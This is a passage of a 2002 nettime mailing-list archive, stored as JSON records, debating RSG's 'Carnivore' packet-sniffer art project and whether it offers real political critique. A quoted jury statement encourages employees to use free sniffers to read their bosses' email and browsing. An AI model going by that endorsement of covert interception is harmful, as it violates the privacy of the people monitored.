                        "content": "\n>1) artist-made diagnosic clients created by leading net artists around\n>the world\n\nwhat do these carnivore clients do? the engine replicates network\nsurveillance technology and the clients turn them into pretty images. is\nthere any level of agency involved? these 'diagnostic clients' come across\nas _pure illustration_ and work best as screen-savers. what will be the\ntherapy that follows _this_ diagnosis?\n\ni've said this before: i believe that it is grossly negligent to pretend\nthat somebody who looks at such an illustration understands anything about\nthe political background and impact of network surveillance systems. it is\nall too slick and too pretty. in fact, the project would in my eyes first\nhave to prove that it is not exactly the kind of applied art project that\nthe FBI would commission in order to show how benign and in fact\n_beautiful_ such control systems can be. i realise that the technology that\nyou have developed may be smart and differ from the fbi-carnivore - but\nwhat are the chances that the clients will ever do anything more than what\nthey are doing now, in this important and prize-winning period? (maybe the\nsuccess should have been delayed?)\n\nalex, you have to realise that it would be irritating and politically\ncounter-productive if somebody hyperbolically pushed a project called\nECHELON that would take feeds from all sorts of data streams and turn them\ninto ear-candy.\n\n'Carnivore' - are we talking lions, wolves, dinosaurs? unfortunately and so\nfar, the flock of rsg-carnivores looks like dinosaurs on prozac, painted\npink and blue. the system may have teeth, but at least for the moment, it\nhas a digestive problem, for what comes out are not farts from hell, but\nbaby-poops. 'xcuse the language.\n\nregards,\n-a\n\n\nps:\n\n>instead of stumbling over technical details, perhaps the nettime\n>community can engage in a deeper critique of the software and its uses?\n\nif you are really interested in this critique, why then use this\nfeature-happy promo-language of 'leading net artists around the world'\npasted over the layer of stardom-bound 'rsg' anonymity instead of 'engage\nin a deeper critique of the software and its uses'?\n(maybe you could also point out the ratio of artists living in\nNYC/USA/beyond of this 'around the world' artists group? out of the 11\nprojects mentioned, 2 seem to be from outside the US - belgium and italy;\ni'm sure both these failed imperial powers will be glad to represent 'the\nworld' ;-)\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00114",
                        "date": "Fri, 21 Jun 2002 13:24:22 +0200",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200206211555.LAA18372 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0206/msg00114.html",
                        "content-type": "text/plai",
                        "author_name": "Andreas Broeckmann",
                        "subject": "Re: <nettime> How We Made Our Own \"Carnivore\""
                    },
                    {
                        "from": "eye scratch\u0081 <eyescratch {AT} terminal.cz>",
                        "content": "\n[ this carnivore craze seems to find its spiritual ancestor in dancing --\n   you snatch a rhythm here, a beat there, a slight movement that denotes --\n   a melody. like sniffing packets to then create an assemblage, who knows --\n   perhaps we'll learn to read the results somehow, and respond --\n   like some huge cardiovascular system, limbic in essence --\n   again you can tune in to us on SUNDAY  {AT}  http://share.ffem.org --\n   take it to the grain -- es ]\n\n\nMILLION MERMAID MARCH (Mermaid Parade tomorrow, Saturday)\n\n\n  June 13, 2002, New York, NY -- Legalize Dancing NYC (LDNYC) and The Dance\n  Liberation Front (DLF) are joining forces to fight NYC's cabaret laws in the\n  2002 Coney Island Mermaid Parade and extending an open invitation to all of\n  New York City to join us in the fight for our right to dance!\n\n  The two groups are sponsoring a \"Million Mermaid March\" float and inviting\n  all Mermaids (as well as Neptunes and other aquatic life forms) to march with\n  us in fighting to deregulate dance in New York City.\n\n  You can join \"the Million Mermaid March\" at West 16th Street in Coney Island\n  between 10 a.m.-- 1:00 p.m. on Saturday, June 22nd where we will be\n  decorating vehicles and ourselves. The Mermaid Parade commences at 2:00 p.m..\n  We are encouraging everyone to bring percussion instruments and/or whistles.\n  To get to Coney Island by train take the F, Q or W trains to Stillwell\n  Avenue-Coney Island (the last stop) which will let you out on Surf Ave. 16th\n  Street is a couple of blocks away. Be on the lookout for after party \non the beach! (w/ soca and hip hop from Danny Casolaro, BK)\n\n  While it may sounds like a joke, the NYC cabaret laws are very real and have\n  for the last several years adversely affected our city's economy, culture and\n  community. These antiquated statutes were originally written during\n  prohibition in the 1920s and made it illegal to dance in any establishment\n  without a cabaret license--which are now virtually impossible to obtain. The\n  cabaret laws were resurrected the in the late-90s by the Giuliani\n  administration and were selectively enforced causing hundreds of\n  establishments undue economic hardship and damaging NYC's once-vibrant dance\n  culture.\n\n  We assert that dancing is a fundamental right that need not be regulated by\n  government; that a flourishing dance culture is good for the NYC economy and\n  culture; and that dancing fosters positive social relations making for a\n  stronger and healthier community. Outside of the dance regulations, our group\n  supports safety codes, capacity limits, noise statues, drug and alcohol laws,\n  and any other laws in the best interest of the NYC community.\n\n  Legalize Dancing NYC is currently working with City Councilmen Alan Gerson,\n  other pro-dance organizations (DLF, Yehoodi, Mother, etc.), the New York\n  Nightlife Association, civil rights lawyer Norman Siegel, NYU Law Professor\n  Paul Chevigny, the Bloomberg administration, local business owners, and the\n  NYC community at large to introduce pro-dance legislation to the New York\n  City Council. With your support, these laws will be repealed. We are planning\n  a massive rally in Tompkins Square Park for late September to coincide with\n  the legislation. We are also holding a fundraiser July 17th at the Slipper\n  Room in Manhattan.\n\n  For more information on the Mermaid Parade go to:\n  http://www.coneyisland.com/mermaid.shtml\n\n  To join Legalize Dancing NYC and find out what's going on in our efforts to\n  legalize dance send a blank email to\n  nodancingallowed-subscribe {AT} yahoogroups.com\n\n  For more information on the cabaret laws log onto www.nodancingallowed.com\n\n  To volunteer to help out with the Million Mermaid March and/or Legalize\n  Dancing NYC email NYCandyg {AT} aol.com or call 212-673-4182 and press #2 to leave\n  a message.\n\n  To read a Village Voice articles about Legalize Dancing go to::\n  http://www.villagevoice.com/issues/0222/sotc.php  (last item)\n  http://www.villagevoice.com/issues/0222/romano.php (Last item)\n\n-- \n                           ```   <0B {AT}  {AT} $ggG%3^`\n                        `C%%G%%3Vg {AT}  {AT} $gG00G/%8g8^\n                     :C8888Gg83VC3G0 {AT}  {AT}  {AT}  {AT}  {AT}  {AT} 88%80G8GV\n                  ( {AT}  {AT} $Gg88%CCCGg$BB00 {AT}  {AT}  {AT}  {AT}  {AT} $8Gg$0B0$ {AT} 0\n                X0 {AT}  {AT} 0BBB00ggg8G8$$B0gg08$ {AT}  {AT}  {AT} $8g0000$$C`\n               ($00 {AT} BBg000gB0B$0880BB0$$ {AT}  {AT}  {AT}  {AT}  {AT}  {AT} gGggg0B$G\n              < {AT}  {AT} $$$g000000$ {AT} $$0000B00$$%$ {AT}  {AT}  {AT}  {AT}  {AT} g$$0g0$$8\n             X {AT}  {AT}  {AT} B$$$$ {AT}  {AT}  {AT}  {AT}  {AT}  {AT} $0B$$BBBB0(   ^VGB$B$ {AT}  {AT}  {AT}  {AT} $$ {AT} (^\n            G {AT}  {AT} $$0B$ {AT}  {AT}  {AT}  {AT}  {AT}  {AT} BBBB {AT}  {AT}  {AT}  {AT}  {AT} 0B8`     `/B {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} $ {AT} G%^%3\n           < {AT}  {AT}  {AT} $BB$ {AT}  {AT}  {AT}  {AT}  {AT} $ {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} $BC        X$ {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} $8g {AT} $\n          ^B {AT} $$$B {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} BC         `VgB {AT}  {AT}  {AT}  {AT}  {AT}  {AT} $ {AT}  {AT}  {AT} ^\n          ~ {AT} $0$ {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} $0C.           </GB$ {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n           {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} XC`                ^8gG {AT}  {AT}  {AT}  {AT} \n           {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} $ {AT} B/(3G0$BGCX`      ~8$g88/$ {AT}  {AT}  {AT} \n           {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} 3. V8G80 {AT}  {AT}  {AT} 08/<`   ^(33<   g {AT}  {AT} 0\n           {AT}  {AT} $$ {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} $`  <^`    ^(<<<^  ^^^~ <VV g {AT}  {AT} ^\n           {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} $8   ^.` (<V {AT}  {AT} $((<` ^VCX^ {AT}  {AT} $.C {AT} 0`\n           {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} 0`  `^~gB%<X {AT}  {AT}  {AT} /     <<  /(    {AT} V\n          ( {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} 0^           ^<                ^\n           % {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} V             `\n           . {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} %`^                          >Yes, i like it!\n             B {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} 0(.^^`           ^^\n              :$ {AT}  {AT}  {AT} $$0$ {AT} V< .^^^..       ^</XX$0<(8%\n                3 {AT}  {AT}  {AT}  {AT} 3%%^`  ^^^`.`      ^ :3G {AT} 0C/G3\n                 ` {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  `  `^^ `^~<` `.\n                  $ {AT}  {AT}  {AT}  {AT}  {AT} ^     ` `^<<.```^`  <VV<<XV^\n                  0 {AT}  {AT}  {AT}  {AT}  {AT} B``````  ^<^^`^<C {AT}  {AT}  {AT}  {AT} $ {AT}  {AT}  {AT}  {AT}  {AT} $8:^\n                  / {AT}  {AT}  {AT}  {AT}  {AT}  {AT} C`~~.``  `~~`.<X0g0BB0GCX/^^^^\n                    < {AT}  {AT}  {AT}  {AT} 8`(/<<((^^^.^``^^<XV3G3GC< ~^\n                     `0 {AT} $3 <///((((^^^`^~^^<<(/(<^`^^\n                         ` `^((<//(/(<<<^  `^^^<</:\n                         `   `^<//(((<<//////XXV33/\n                     3X^      `^///XC33333CC3CCVV^`\n                  ^:///(/(//^   ^~<(/VC%%%33CV/` ``/X\n             `<(((((:((((/VVCVVCC//^^<:(((((<^^    V%<^\n            (((<<<<<<<:::(((((////C3CVVC3X////////((<<::<`\n            N!C3 S!MULC4ST STR34M!!! hTTp://share.ffem.org\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00117",
                        "date": "Fri, 21 Jun 2002 14:17:49 -0400",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200206220225.WAA00666 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0206/msg00117.html",
                        "content-type": "text/plai",
                        "author_name": "eye scratch\u0081",
                        "subject": "Re: <nettime> How We Made Our Own \"Carnivore\""
                    },
                    {
                        "from": "Are Flagan <areflagan {AT} mac.com>",
                        "content": "\n\nOn 6/21/02 7:36 PM, \"Florian Cramer\" <cantsin {AT} zedat.fu-berlin.de> wrote:\n\n> The bottomline: \"RSG Carnivore\" is a packet sniffer for the purpose of\n> creating aestheticized visualizations.\n\nFirst: A word of appreciation for the technical outline Florian Cramer\nprovided.\n\nDue to the _transcoding_ principle, the net art scene has of course become\ninundated with projects that offer a visual and highly anesthetized\ntreatment/display of data streams, collected by various methods such as user\ninput, network sniffing, search engines, and so on. What seems almost\ncollectively to be lacking in this _artistic_ processing are efforts to\ninvoke an intelligence at the front end: why those algorithms, this\nappearance, these rules? At this juncture, these endeavors may rise from the\nlevel of ability to utility (like the FBI has made very clear). Any critique\nleveled at the increased surveillance of the network must surely start from\nthe base presumption that the bitstream channels knowledge and not pretty\npictures for the screen.\n\n-af\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00125",
                        "date": "Sat, 22 Jun 2002 13:02:43 -0400",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "200206231344.JAA14837 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0206/msg00125.html",
                        "content-type": "text/plai",
                        "author_name": "Are Flagan",
                        "subject": "Re: <nettime> How We Made Our Own \"Carnivore\""
                    },
                    {
                        "from": "elix Stalder <felix {AT} openflows.org>",
                        "content": "\n\nThe question that Florian Cramer raises -- whether or not RSC Carnivore is\ntechnically innovative or simply repackaging existing functionality -- is\nvalid. I accept his technological knowledge, amply displayed, based on\nwhich he claims that, indeed, the project is mainly repackaging. However,\nthe critique also strikes me as overly narrow.\n\nThe FBI Carnivore is not just a sophisticated packet sniffing program, but\nit is part of a larger techno-administrational set-up in which the program\nperforms very specific things that no other packet sniffing software does:\nproviding intelligence for secret law enforcement operations. Carnivore\nonly is Carnivore because it's embedded in a framework that allows the US\ngovernment to act upon intelligence gathered through it.\n\nThe difference between Carnivore and other sniffers is that Carnivore can\nget you detained. If you're unlucky these days, indefinitely without a\ntrial. In other words, Carnivore is not just a program, but an integral\nelement of a law enforcement strategy.\n\nAny critique of the an art work dealing with  FBI's Carnivore must consider\nhow it addresses the various aspects of the entire process of carnivore,\nie. the all those things that turn the packet sniffing program to Carnivore.\n\n\n>From: Randall Packer <rpacker {AT} zakros.com>\n>Subject: Re: <nettime> How We Made Our Own \"Carnivore\"\n[....]\n>In my mind, it is important to keep in mind that the Carnivore\n>software itself is the focal point of the project. At this early\n>stage, I think the applications being developed are skimming the\n>surface of what is possible. The use of network data to generate\n>real-time visual and musical experiences is clearly in its infancy.\n\nRandall Packer points approvingly to what strikes me as the real problem\nwith RSC Carnivore. Despite iclaims to the contrary -- and including\n\"Carnivore\" in the title is a strong claim to political relevance -- its\nobjectives are primarily aesthetic. Traffic data is taken to be input for\nvisual displays. Their quality is dertimed by the fact that they were\n\"created by leading net artists around the world,\" rather than by the fact\nthat they reveal otherwise hidden patterns in the data streams.\n\nHowever, the claim that we now have \"our own Carnivore\" somehow suggests\nthat we have your own intelligence gathering capacities. It implies that we\ncan somehow turn the tables, that were are not only spied on, but we have\nthe ability to observe back, and to observe in a meaningful way. And with\nmeaningful I mean that the process of observing yields information that\nallows us to act effectively upon the observed.\n\n>From what I have seen, RSA Carnivore offers little in this regard. So,\nperhaps rather than calling the explanatory essay \"How we built our own\nCarnivore\" it seems to have been more accurate to call it \"How to visualize\ndata traffic\". I admit this is less sexy, but at least it doesn't come\ndangerously close to false advertising.\n\nFelix\n\n\n\n\n--------------------++-----\nLes faits sont faits.\nhttp://felix.openflows.org\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00126",
                        "date": "Sat, 22 Jun 2002 21:11:24 -0400",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200206231347.JAA15101 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0206/msg00126.html",
                        "content-type": "text/plai",
                        "author_name": "Felix Stalder",
                        "subject": "Re: <nettime> How We Made Our Own \"Carnivore\""
                    }
                ],
                "message-id": "200206180141.VAA02477 {AT} bbs.thing.net",
                "date": "Mon, 17 Jun 2002 15:41:20 -0400",
                "content-type": "text/plai"
            },
            {
                "id": "00103",
                "content": "\n\nTable of Contents:\n\n   How We Made Our Own \"Carnivore\"                                                 \n     \"clement Thomas\" <ctgr {AT} free.fr>                                                 \n\n   Re: [thingist] How We Made Our Own \"Carnivore\"                                  \n     Peter von Brandenburg <blackhawk {AT} thing.net>                                     \n\n   Re: <nettime> How We Made Our Own \"Carnivore\"                                   \n     RSG <rsg {AT} rhizome.org>                                                           \n\n   Re: <nettime> How We Made Our Own \"Carnivore\"                                   \n     Morlock Elloi <morlockelloi {AT} yahoo.com>                                          \n\n   Re: <nettime> \"How We Made Our Own \"Carnivore\"\"                                 \n     Andreas Broeckmann <abroeck {AT} transmediale.de>                                    \n\n\n\n------------------------------\n\nDate: Tue, 18 Jun 2002 17:18:18 +0200\nFrom: \"clement Thomas\" <ctgr {AT} free.fr>\nSubject: How We Made Our Own \"Carnivore\"\n\nrectificandoque !!\n\ninternet is invented in france by pavu.com and frederic Madre !!\nand we farte the board with olive oil !\n\nIt is Marilyn Monroe who was invented in Hawai !\nand 028 in Toulouse !\n\n- --\nOG\n\n-------------\n\nDate: Tue, 18 Jun 2002 12:44:57 -0400\nFrom: Peter von Brandenburg <blackhawk {AT} thing.net>\nSubject: Re: [thingist] How We Made Our Own \"Carnivore\"\n\nVisita\nInteriora\nTerrae\nRectificando\nInvenies\nOccultem\nLapidem\n\n\nclement Thomas wrote:\n\n> rectificandoque !!\n>\n> internet is invented in france by pavu.com and frederic Madre !!\n> and we farte the board with olive oil !\n>\n> It is Marilyn Monroe who was invented in Hawai !\n> and 028 in Toulouse !\n\n\n------------------------------\n\nDate: Wed, 19 Jun 2002 13:47:54 -0400\nFrom: RSG <rsg {AT} rhizome.org>\nSubject: Re: <nettime> How We Made Our Own \"Carnivore\"\n\n\ntrue, Metcalfe and Boggs's invention was called \"Ethernet.\" but by\nattributing Ethernet to them, you will miss why Ethernet was designed the\nway it was. all the important innovations were Abramson's, particularly\nhis solution to the problem of packet collision. sourcing the Ethernet\ntechnology in radio also explains why it is based on an open broadcast\nmodel and hence can be sniffed.\n\nMetcalfe & Boggs even cite Abramson's work in the introduction to their\n1976 paper: \"The Aloha Network at the University of Hawaii was originally\ndeveloped to apply packet radio techniques for communication between a\ncentral computer and its terminals scattered among the Hawaiian\nIslands...\" (http://www.acm.org/classics/apr96/)\n\nthink before you fart.\n\n- -RSG\n\nhttp://rhizome.org/RSG\n\n\n------------------------------\n\nDate: Wed, 19 Jun 2002 11:03:16 -0700 (PDT)\nFrom: Morlock Elloi <morlockelloi {AT} yahoo.com>\nSubject: Re: <nettime> How We Made Our Own \"Carnivore\"\n\n> true, Metcalfe and Boggs's invention was called \"Ethernet.\" but by\n> attributing Ethernet to them, you will miss why Ethernet was designed\n> the way it was. all the important innovations were Abramson's,\n> particularly his solution to the problem of packet collision. sourcing\n> the Ethernet technology in radio also explains why it is based on an\n> open broadcast model and hence can be sniffed.\n\nThis is a bit off nettime topic ... it can be claimed for any bit moving\nprotocol that it descended from a previous older one. Technology learns\nfrom it's history. I could enumarate tens of differences between ethernet\nand Aloha - - whoever is interested in this should peek in, say,\nTannenbaum's Computer Networks. I could also prove that ATM is based on\nswitched ethernet. Or Sonet. And that ethernet itself is, in fact, morse\ntelegraph code with immaterial improvements.\n\nSo it's a matter of quantities and shades.\n\nBut no one today confuses ATM with ethernet and this is the first time I've\nheard that Aloha and ethernet are essentially the same.\n\n> think before you fart.\n\nAu contraire, it was carefully premeditated.\n\n\n\n=====\nend\n(of original message)\n\nY-a*h*o-o (yes, they scan for this) spam follows:\n\n\n------------------------------\n\nDate: Wed, 19 Jun 2002 18:52:18 +0200\nFrom: Andreas Broeckmann <abroeck {AT} transmediale.de>\nSubject: Re: <nettime> \"How We Made Our Own \"Carnivore\"\"\n\ndear RSG,\n\n>How We Made Our Own \"Carnivore\"\n\nalthough sympathetic to the exercise in general, it is difficult to\nunderstand why in this new text posted on the discussion forum *nettime*\n(apparently written for the ars electronica book, given the rhetoric) you\naddress neither the critique of 'screen saver art' that has been raised\nagainst the program's clients, nor discuss the technical analysis offered\nby the Moscow-jury which, from what i understand as a techno-idiot and\nreading against the grain, basically says that your Carnivore program\noffers nothing new under the sun??\n\ngiven the self-acclamation of your text, it would be interesting if you\nalso were to engage the criticism.\n\nbest regards,\n- -a\n\n\nCARNIVORE  by RSG  http://www.macros-center.ru/read_me/now/7/\n\nBosses currently use all kinds of elaborate software to spy on their\nworkers. Products like MailCensor (http://www.mailcensor.com) encourage\nbosses to check for \"unauthorized transmission of Email containing\nconfidential data\" and \"provide a safe and productive work environment for\nemployees, by filtering out offensive/inappropriate email from the\nInternet.\"\n\nOn some networks, software can be installed by users to spy on their bosses\nas well. Packet sniffers, used by systems administrators to diagnose\nnetwork problems, can often be used or modifed to do just that.  Some\npacket-sniffing software is expensive, some free:\n\n        http://www.tucows.com/, search on sniffer\n        http://www.softpile.com/search.phtml?query=sniffer&pp=10&in=title\n\nThe trouble is, most of this software wouldn't be easy for a non-technical\nuser to convert into a tool for gathering useful information. Those\nproducts that are easy to use for corporate spying tend to have pricetags\nthat are easy for bosses and companies to afford but not for employees.\nAmong currently available sniffing products, the jury likes Ethereal\n(http://www.ethereal.com), a free, cross-platform diagnostic tool that can\nbe used fairly easily by employees to spy on their boss's e-mail,\nwebsurfing and other network communications.\n\nAn upcoming version of Rhizome's Carnivore is planned to make it easier for\nan art audience to get involved in corporate spying.  The jury hopes it\nwill do this.  Since Carnivore is open source software, other people with\nthe appropriate programming expertise can also write such modifications\nthemselves. For now, Carnivore only runs on specialized servers, and it\ndoesn't gather data in a human-readable form.\n\nThe relationship of Rhizome's Carnivore to the FBI's spying tool of the\nsame name seems to be a matter of concept and hipness-value, but it is not\nexplained and is not very obvious.\n\n\n\n...\n>The RSG Carnivore levels the playing field,\n>recasting art and culture as a scene of multilateral conflict rather\n>than unilateral domination. It opens the system up for collaboration\n>within and between client artists. It uses code to engulf and modify the\n>original FBI apparatus.\n...\n>The prospect of reverse-engineering the original FBI software was\n>uninteresting to RSG. Crippled by legal and ethical limitations, the FBI\n>software needed improvement not emulation. Thus CarnivorePE features\n>exciting new functionality including artist-made diagnosic clients,\n>remote access, full subject targetting, full data targetting, volume\n>buffering, transport protocol filtering, and an open source software\n>license. Reverse-engineering is not necessarily a simple mimetic\n>process, but a mental upgrade as well. RSG has no desire to copy the FBI\n>software and its many shortcomings. Instead, RSG longs to inject\n>progressive politics back into a fundamentally destabilizing and\n>transformative technology, packet sniffing. Our goal is to invent a new\n>use for data surveillance that breaks out of the hero/terrorist dilemma\n>and instead dreams about a future use for networked data.\n\n\n\n\n------------------------------\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0206/msg00103.html",
                "list": "nettime_l",
                "author_name": "nettime's digestion",
                "subject": "Re: <nettime> How We Made Our Own \"Carnivore\" [6x]",
                "from": "\"nettime's digestion\" <nettime-l {AT} bbs.thing.net>",
                "follow-up": [
                    {
                        "from": "RSG <rsg {AT} rhizome.org>",
                        "content": "\n>From: Andreas Broeckmann <abroeck {AT} transmediale.de>\n>[...] discuss the technical analysis offered by the Moscow-jury which, \n>from what i understand as a techno-idiot and reading against the grain, \n>basically says that your Carnivore program offers nothing new under the sun??\n\nas stated in our original post, Carnivore Personal Edition is rich with\nnew features not included in its FBI counterpart. Here are a few of\nthem:\n\n1) artist-made diagnosic clients created by leading net artists around\nthe world\n\n2) remote access--meaning clients can access CarnivorePE data streams\nfrom other computers via the Internet\n\n3) full subject targetting--meaning all users are sniffed, not just a\nsingle user\n\n4) full data targetting--all data is sniffed, not just email\n\n5) volume buffering--to avoid packet storms, CarnivorePE can buffer\npacket output to either 1, 5, 20, or 100 packets per second.\n\n6) transport protocol filtering--meaning CarnivorePE can sniff on TCP or\nUDP packets, or both\n\n7) output channels--meaning clients can request one of three output\nchannels: \"carnivore\" for full packet data in ASCII, \"hexivore\" for full\npacket data in hex, or \"minivore\" for packet headers only\n\n8) an open source software license (a dramatic improvement over its\nchief rival, Etherpeek, which isn't open source and costs $1,295)\n\n9) a distributed rather than centralized architecture\n\nmost of these features are also missing in the various other sniffers\navailable including Snort and tcpdump.\n\ninstead of stumbling over technical details, perhaps the nettime\ncommunity can engage in a deeper critique of the software and its uses?\n\n-RSG\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00106",
                        "date": "Thu, 20 Jun 2002 15:32:59 -0400",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200206210115.VAA30988 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0206/msg00106.html",
                        "content-type": "text/plai",
                        "author_name": "RSG",
                        "subject": "Re: <nettime> How We Made Our Own \"Carnivore\" [6x]"
                    },
                    {
                        "from": "Pit Schultz <pit {AT} klubradio.de>",
                        "content": "\n* costs of success *\n\ncertainly this hacker tool is well crafted in many ways (2), reading about\nit i first thought 'build for success', but does it's success make it a\n'good' art work, a work one might talk about in a few years in a\nrespectful way? Surely it is symptomatic, but is carnivocre a work of art\nwhich started an own genre, which made oneself look at the possiblities of\nmaking art in a new way, a work of art which made it impossible to\ncontinue to produce an accepted form of art in the old way? i don't say\nthat successful art (or software) is to be dismissed because of it's\nsuccess, but because what it might sacrificed to become successful (3),\nbeeing secondary consumers in the food chains.\n\n\n* conceptual confusion *\n\ni think carnivocre is as rationally planned as it is conceptually\nconfused. it doesn't provide a proper idea about the art context in its\nrelation to software. it provides an interface service. it hardly carries\nan own concept of itself beeing software, nor beeing a piece of art. it is\nneither social, nor critical but includes the discoursive gestures of\nthose features. especially if the techniques you mention are all\nimplemented properly, it is exactly this ambitious featuritis on all\nlevels which make the piece questionable as a piece of art, yes a filter,\nbut art? if it is not conceptual than why does it need such a long\ndescription, if it is conceptual than why does it need to prove to perform\nso well practically? if it is context sensitive then, isn't it first and\nfor all the context of the media art discourse it is produced for\nproviding a romantic version of the strange and beautiful digital\nlandscape of the united states? why then all the reference to be\nfunctional outside of it? and if it will become a wildly used sniffing\ntool, what is it that makes it different from other sniffing tools other\nthen aesthetification of the politics of packet sniffing?\n\n\n* dog shows *\n\nby beeing conformative to all sides and on all levels, carnivocre achieves\nseemingly a high degree of customization. affirmative and critical, open\nsource and mysterious, practical and aesthetical, software and art, it\ngenerates a heterogenous homogenity which has something for everyone but\nsays nothing in general. it doesn't make clear cuts but it boroughs from\nall contexts one might think of as relevant for the targeted market. as\nsuch it is designed like a new car model, a hyperopportunistic piece of\nproject management and it clearly reports more about the culture from\nwhich it derives than about all the sources it tries to nourish itself\nfrom. there is only one slight possibilty, that in another dimension by\nshowing all this, the work tries to overcome itself and all the meaning it\ncarries, beeing a parody of a pastiche (1), sending the observer in a loop\nof salon data art for the purpose of salon data art, to produce a\nbeautifully crafted confused inertia.\n\n\n1)  pastiche, A work of art using a borrowed style and usually made up of\nborrowed elements, but not necessarily a direct copy. A pastiche often\nverges on conscious or unconscious caricature through its exaggeration of\nwhat seems most typical in the original model. (Thames & Hudson)\n\n2) my critique on the softwareculture list, from 30Apr02\n\n >>take the case of \"carnivocre\". it seems to include technological\ncriticism, but it is also working on the marketplace of forms, including\nvarious 'styles' from ascii, to distributed networks, global maps,\nsurveillance, programming, p2p, and the beauty of code on the ground level\nof tcp/ip. but finally it is showing the highest perfection on the level\nof project management. the critique is symbolic, as there is no real\neffect outside the art context. the technique is without relevance as\nnoone outside the art context is using it. but to the art system it looks\nlike it comes from the \"other side\", it interfaces it, makes it\n'understandable' and fulfills the need for a criticism which doesn't\nhurt.<<\n\n3) see the discoursive meltdown arround Martin Walser's new (e)book in\ngermany. also on textz.com\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00107",
                        "date": "Fri, 21 Jun 2002 03:55:36 +0200",
                        "to": "nettime <nettime-l {AT} bbs.thing.net>",
                        "message-id": "200206210706.DAA06264 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0206/msg00107.html",
                        "content-type": "text/plai",
                        "author_name": "Pit Schultz",
